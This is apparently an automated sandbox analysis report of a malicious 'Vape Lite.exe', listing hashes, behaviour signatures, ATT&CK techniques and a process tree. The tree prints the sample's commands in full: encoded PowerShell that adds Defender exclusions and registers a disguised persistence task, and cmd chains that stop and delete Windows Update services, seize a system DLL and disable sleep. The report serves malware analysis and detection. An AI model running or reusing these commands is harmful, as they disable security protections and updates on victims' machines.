Analysis

  • max time kernel
    30s
  • max time network
    34s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-01-2023 20:19

General

  • Target

    Vape Lite.exe

  • Size

    13.7MB

  • MD5

    5e2d657a39c8a243c6d781f20f98f38f

  • SHA1

    4088ae74ad0a22a7640bfe74e0f53479e555cbf0

  • SHA256

    2b2071a6b8b552691034efe266ccc13cb72ca20fc25ef4347b748a7cc02e88ad

  • SHA512

    d0fda8495bf027b48cc3afd26a6efd47135a7712f4cbc5d372bb01216a7e9064ab8fb924abb3b6386ee23a165824194c8e4b76ef31d3288712af227daddfd3c3

  • SSDEEP

    393216:fpNdNeyLeQ+gPYxto0eba2gtgebkkC7E:fdQyaQJPY/ca26gebME

Malware Config

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Possible privilege escalation attempt 2 IoCs
  • Stops running service(s) 3 TTPs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 2 IoCs
  • Themida packer 13 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Modifies registry key 1 TTPs 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Vape Lite.exe
    "C:\Users\Admin\AppData\Local\Temp\Vape Lite.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2168
    • C:\Users\Admin\AppData\Roaming\conhost_mn.exe
      "C:\Users\Admin\AppData\Roaming\conhost_mn.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAZwBrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBsAHoAIwA+ACAAQAAoACAAPAAjAGcAdABrACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBjAG4AIwA+ACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACkAIAA8ACMAYgBkAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAdQBjACMAPgA="
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2244
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2140
        • C:\Windows\system32\sc.exe
          sc stop UsoSvc
          4⤵
          • Launches sc.exe
          PID:2968
        • C:\Windows\system32\sc.exe
          sc stop WaaSMedicSvc
          4⤵
          • Launches sc.exe
          PID:4620
        • C:\Windows\system32\sc.exe
          sc stop wuauserv
          4⤵
          • Launches sc.exe
          PID:4628
        • C:\Windows\system32\sc.exe
          sc stop bits
          4⤵
          • Launches sc.exe
          PID:5020
        • C:\Windows\system32\sc.exe
          sc stop dosvc
          4⤵
          • Launches sc.exe
          PID:924
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
          4⤵
          • Modifies registry key
          PID:2640
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
          4⤵
          • Modifies registry key
          PID:3640
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
          4⤵
          • Modifies security service
          • Modifies registry key
          PID:4512
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
          4⤵
          • Modifies registry key
          PID:4412
        • C:\Windows\system32\reg.exe
          reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
          4⤵
          • Modifies registry key
          PID:2908
        • C:\Windows\system32\takeown.exe
          takeown /f C:\Windows\System32\WaaSMedicSvc.dll
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3252
        • C:\Windows\system32\icacls.exe
          icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2368
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2324
        • C:\Windows\system32\powercfg.exe
          powercfg /x -hibernate-timeout-ac 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4052
        • C:\Windows\system32\powercfg.exe
          powercfg /x -hibernate-timeout-dc 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4584
        • C:\Windows\system32\powercfg.exe
          powercfg /x -standby-timeout-ac 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3896
        • C:\Windows\system32\powercfg.exe
          powercfg /x -standby-timeout-dc 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4128
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAcABpACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnACIAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgAnACkAIAA8ACMAbgBhACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAZwByAHoAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwBnAGMAbQBjACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAIAAtAFUAcwBlAHIAIAAnAFMAeQBzAHQAZQBtACcAIAAtAFIAdQBuAEwAZQB2AGUAbAAgACcASABpAGcAaABlAHMAdAAnACAALQBGAG8AcgBjAGUAIAA8ACMAZwB0ACMAPgA7AA=="
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5032
    • C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exe
      "C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4912
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -u -p 4912 -s 716
        3⤵
        • Program crash
        PID:888
  • C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -pss -s 408 -p 4912 -ip 4912
    1⤵
      PID:932

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Persistence

    Modify Existing Service

    2
    T1031

    Defense Evasion

    Modify Registry

    2
    T1112

    Virtualization/Sandbox Evasion

    1
    T1497

    Impair Defenses

    1
    T1562

    File Permissions Modification

    1
    T1222

    Discovery

    Query Registry

    3
    T1012

    Virtualization/Sandbox Evasion

    1
    T1497

    System Information Discovery

    4
    T1082

    Impact

    Service Stop

    1
    T1489

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
      Filesize

      944B

      MD5

      6d3e9c29fe44e90aae6ed30ccf799ca8

      SHA1

      c7974ef72264bbdf13a2793ccf1aed11bc565dce

      SHA256

      2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

      SHA512

      60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

    • C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exe
      Filesize

      6.6MB

      MD5

      3459f3a3d65fa445d1eb52611ac55f6c

      SHA1

      135c835edfeec60e41bc1b24f1a10ad7a86c9a00

      SHA256

      9c85d76526d585038392e1af504886580d096e9646de2907b73feab521920944

      SHA512

      1dbf42476304cefd859754f1d8219c0b37cc5b2885527f874245a37df5e1145dbcc1ff1ce34bdf0fa47df8a503e37244ff07a37bb92e8f2514533d8a89926d8b

    • C:\Users\Admin\AppData\Local\Temp\Vape_Lite.exe
      Filesize

      6.6MB

      MD5

      3459f3a3d65fa445d1eb52611ac55f6c

      SHA1

      135c835edfeec60e41bc1b24f1a10ad7a86c9a00

      SHA256

      9c85d76526d585038392e1af504886580d096e9646de2907b73feab521920944

      SHA512

      1dbf42476304cefd859754f1d8219c0b37cc5b2885527f874245a37df5e1145dbcc1ff1ce34bdf0fa47df8a503e37244ff07a37bb92e8f2514533d8a89926d8b

    • C:\Users\Admin\AppData\Roaming\conhost_mn.exe
      Filesize

      2.0MB

      MD5

      39bbb25c69601eef6f5f3ca853a7a2db

      SHA1

      1f7b4450af433092fa5acbbbc8a1b727deb8ede2

      SHA256

      87dd36f2dd875188916668530cb1a0f5ff7566b28d09c8876d26cfe3ea368201

      SHA512

      b3b29a8e6cffa600bede1b0e8cd7dd0b4a05d2d028e0a5527e281e82334e5fdc7fb7518cd21b958efeebcd2e1d527fd52a77e6ff064910eb5f3ac87f851943ce

    • C:\Users\Admin\AppData\Roaming\conhost_mn.exe
      Filesize

      2.0MB

      MD5

      39bbb25c69601eef6f5f3ca853a7a2db

      SHA1

      1f7b4450af433092fa5acbbbc8a1b727deb8ede2

      SHA256

      87dd36f2dd875188916668530cb1a0f5ff7566b28d09c8876d26cfe3ea368201

      SHA512

      b3b29a8e6cffa600bede1b0e8cd7dd0b4a05d2d028e0a5527e281e82334e5fdc7fb7518cd21b958efeebcd2e1d527fd52a77e6ff064910eb5f3ac87f851943ce

    • memory/924-177-0x0000000000000000-mapping.dmp
    • memory/2140-163-0x0000000000000000-mapping.dmp
    • memory/2168-144-0x000000007FA70000-0x000000007FE41000-memory.dmp
      Filesize

      3.8MB

    • memory/2168-132-0x0000000000400000-0x0000000001A00000-memory.dmp
      Filesize

      22.0MB

    • memory/2168-133-0x000000007FA70000-0x000000007FE41000-memory.dmp
      Filesize

      3.8MB

    • memory/2168-143-0x0000000000400000-0x0000000001A00000-memory.dmp
      Filesize

      22.0MB

    • memory/2168-134-0x0000000000400000-0x0000000001A00000-memory.dmp
      Filesize

      22.0MB

    • memory/2244-161-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
      Filesize

      10.8MB

    • memory/2244-147-0x0000000000000000-mapping.dmp
    • memory/2244-153-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
      Filesize

      10.8MB

    • memory/2244-154-0x00000185F38C0000-0x00000185F38E2000-memory.dmp
      Filesize

      136KB

    • memory/2324-164-0x0000000000000000-mapping.dmp
    • memory/2368-184-0x0000000000000000-mapping.dmp
    • memory/2640-178-0x0000000000000000-mapping.dmp
    • memory/2908-182-0x0000000000000000-mapping.dmp
    • memory/2968-167-0x0000000000000000-mapping.dmp
    • memory/3252-183-0x0000000000000000-mapping.dmp
    • memory/3640-179-0x0000000000000000-mapping.dmp
    • memory/3896-172-0x0000000000000000-mapping.dmp
    • memory/4052-166-0x0000000000000000-mapping.dmp
    • memory/4128-174-0x0000000000000000-mapping.dmp
    • memory/4412-181-0x0000000000000000-mapping.dmp
    • memory/4512-180-0x0000000000000000-mapping.dmp
    • memory/4584-169-0x0000000000000000-mapping.dmp
    • memory/4620-170-0x0000000000000000-mapping.dmp
    • memory/4628-173-0x0000000000000000-mapping.dmp
    • memory/4832-135-0x0000000000000000-mapping.dmp
    • memory/4832-141-0x0000000000BD0000-0x0000000000DCE000-memory.dmp
      Filesize

      2.0MB

    • memory/4832-162-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
      Filesize

      10.8MB

    • memory/4832-142-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
      Filesize

      10.8MB

    • memory/4912-149-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-160-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-151-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-157-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-148-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-158-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-152-0x00007FFAB2090000-0x00007FFAB2285000-memory.dmp
      Filesize

      2.0MB

    • memory/4912-138-0x0000000000000000-mapping.dmp
    • memory/4912-159-0x00007FFAB2090000-0x00007FFAB2285000-memory.dmp
      Filesize

      2.0MB

    • memory/4912-146-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-145-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-155-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-156-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/4912-150-0x00007FF6B34E0000-0x00007FF6B4556000-memory.dmp
      Filesize

      16.5MB

    • memory/5020-175-0x0000000000000000-mapping.dmp
    • memory/5032-176-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
      Filesize

      10.8MB

    • memory/5032-165-0x0000000000000000-mapping.dmp
    • memory/5032-185-0x00007FFA943A0000-0x00007FFA94E61000-memory.dmp
      Filesize

      10.8MB